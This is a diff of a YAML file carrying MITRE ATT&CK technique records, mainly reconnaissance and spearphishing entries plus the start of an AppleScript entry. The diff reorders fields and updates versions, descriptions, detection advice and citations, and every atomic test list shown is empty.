+        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
+          Media To Break Into Your Company. Retrieved October 20, 2020.
+        source_name: Cyware Social Media
     atomic_tests: []
   T1592.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1592.002
-        url: https://attack.mitre.org/techniques/T1592/002
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Software
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:33:19.596Z'
+      created: '2020-10-02T16:42:17.482Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884
       description: |-
         Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:23:57.876Z'
-      created: '2020-10-02T16:42:17.482Z'
       x_mitre_detection: |-
-        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+        Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
 
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1592/002
+        external_id: T1592.002
+        source_name: mitre-attack
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1598.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1598.002
-        url: https://attack.mitre.org/techniques/T1598/002
-      - source_name: Sophos Attachment
-        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
-        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
-          links – when phishers bring along their own web pages. Retrieved October
-          20, 2020.'
-      - source_name: GitHub Phishery
-        url: https://github.com/ryhanson/phishery
-        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
-          23, 2020.
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Spearphishing Attachment
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-04-15T03:41:33.335Z'
+      created: '2020-10-02T17:08:57.386Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc
       description: |-
         Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
 
         All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
-      id: attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
-      modified: '2021-04-15T03:41:33.335Z'
-      created: '2020-10-02T17:08:57.386Z'
       x_mitre_contributors:
       - Philip Winther
       - Sebastian Salla, McAfee
       - Robert Simmons, @MalwareUtkonos
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
       x_mitre_detection: 'Monitor for suspicious email activity, such as numerous
         accounts receiving messages from a single unusual/unknown sender. Filtering
         based on DKIM+SPF or header analysis can help detect when the email sender
         is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1598/002
+        external_id: T1598.002
+        source_name: mitre-attack
+      - url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
+        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
+          links – when phishers bring along their own web pages. Retrieved October
+          20, 2020.'
+        source_name: Sophos Attachment
+      - url: https://github.com/ryhanson/phishery
+        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
+          23, 2020.
+        source_name: GitHub Phishery
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
     atomic_tests: []
   T1598.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1598.003
-        url: https://attack.mitre.org/techniques/T1598/003
-      - source_name: TrendMictro Phishing
-        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
-        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
-          October 20, 2020.
-      - source_name: PCMag FakeLogin
-        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
-        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
-          Staffers With Fake Login Pages. Retrieved October 20, 2020.
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Spearphishing Link
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-04-15T03:42:26.537Z'
+      created: '2020-10-02T17:09:50.723Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230
       description: |-
         Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
 
         All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
-      id: attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
-      modified: '2021-04-15T03:42:26.537Z'
-      created: '2020-10-02T17:09:50.723Z'
       x_mitre_contributors:
       - Philip Winther
       - Sebastian Salla, McAfee
       - Robert Simmons, @MalwareUtkonos
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
       x_mitre_detection: |-
         Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
 
         Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1598/003
+        external_id: T1598.003
+        source_name: mitre-attack
+      - url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
+        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
+          October 20, 2020.
+        source_name: TrendMictro Phishing
+      - url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
+        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
+          Staffers With Fake Login Pages. Retrieved October 20, 2020.
+        source_name: PCMag FakeLogin
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
     atomic_tests: []
   T1598.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1598.001
-        url: https://attack.mitre.org/techniques/T1598/001
-      - source_name: ThreatPost Social Media Phishing
-        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
-        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
-          Pad For Phishing Attacks. Retrieved October 20, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Spearphishing Service
-      description: |-
-        Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
-
-        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
-      id: attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
-      modified: '2021-04-15T03:43:12.843Z'
-      created: '2020-10-02T17:08:07.742Z'
+      name: Spearphishing Service
       x_mitre_data_sources:
       - 'Application Log: Application Log Content'
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:43:12.843Z'
+      created: '2020-10-02T17:08:07.742Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6
+      description: |-
+        Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
+
+        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
       x_mitre_contributors:
       - Robert Simmons, @MalwareUtkonos
       x_mitre_detection: |-
@@ -63576,144 +65620,145 @@ reconnaissance:
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1598/001
+        external_id: T1598.001
+        source_name: mitre-attack
+      - url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
+        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
+          Pad For Phishing Attacks. Retrieved October 20, 2020.'
+        source_name: ThreatPost Social Media Phishing
     atomic_tests: []
   T1597.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1597.001
-        url: https://attack.mitre.org/techniques/T1597/001
-      - source_name: D3Secutrity CTI Feeds
-        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
-        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
-          Intelligence Feeds. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Threat Intel Vendors
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:45:30.862Z'
+      created: '2020-10-02T17:03:45.918Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41
       description: |-
         Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)
 
         Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:45:30.862Z'
-      created: '2020-10-02T17:03:45.918Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1597/001
+        external_id: T1597.001
+        source_name: mitre-attack
+      - url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
+        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
+          Intelligence Feeds. Retrieved October 20, 2020.
+        source_name: D3Secutrity CTI Feeds
     atomic_tests: []
   T1595.002:
     technique:
-      id: attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4
-      description: |-
-        Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.
-
-        These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
-      name: Vulnerability Scanning
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1595.002
-        url: https://attack.mitre.org/techniques/T1595/002
-      - source_name: OWASP Vuln Scanning
-        url: https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning
-        description: OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning.
-          Retrieved October 20, 2020.
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
+      name: Vulnerability Scanning
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
       modified: '2021-04-15T03:20:09.446Z'
       created: '2020-10-02T16:55:16.047Z'
       x_mitre_platforms:
       - PRE
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4
+      description: |-
+        Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.
+
+        These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
       x_mitre_detection: |-
         Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
 
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1595/002
+        external_id: T1595.002
+        source_name: mitre-attack
+      - url: https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning
+        description: OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning.
+          Retrieved October 20, 2020.
+        source_name: OWASP Vuln Scanning
     atomic_tests: []
   T1596.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596.002
-        url: https://attack.mitre.org/techniques/T1596/002
-      - source_name: WHOIS
-        url: https://www.whois.net/
-        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: WHOIS
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:50:44.113Z'
+      created: '2020-10-02T16:56:49.744Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f
       description: |-
         Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)
 
         Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:50:44.113Z'
-      created: '2020-10-02T16:56:49.744Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596/002
+        external_id: T1596.002
+        source_name: mitre-attack
+      - url: https://www.whois.net/
+        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
+        source_name: WHOIS
     atomic_tests: []
 execution:
   T1059.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.002
-        url: https://attack.mitre.org/techniques/T1059/002
-      - source_name: Apple AppleScript
-        url: https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
-        description: Apple. (2016, January 25). Introduction to AppleScript Language
-          Guide. Retrieved March 28, 2020.
-      - source_name: SentinelOne AppleScript
-        url: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
-        description: Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript
-          For Attacking macOS. Retrieved July 17, 2020.
-      - source_name: SentinelOne macOS Red Team
-        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
-        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
-          APIs Without Building Binaries. Retrieved July 17, 2020.'
-      - url: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
-        description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
-          Retrieved July 8, 2017.
-        source_name: Macro Malware Targets Macs
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: AppleScript
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2020-08-03T21:40:51.878Z'
+      created: '2020-03-09T14:07:54.329Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      id: attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
 
@@ -63722,29 +65767,33 @@ execution:
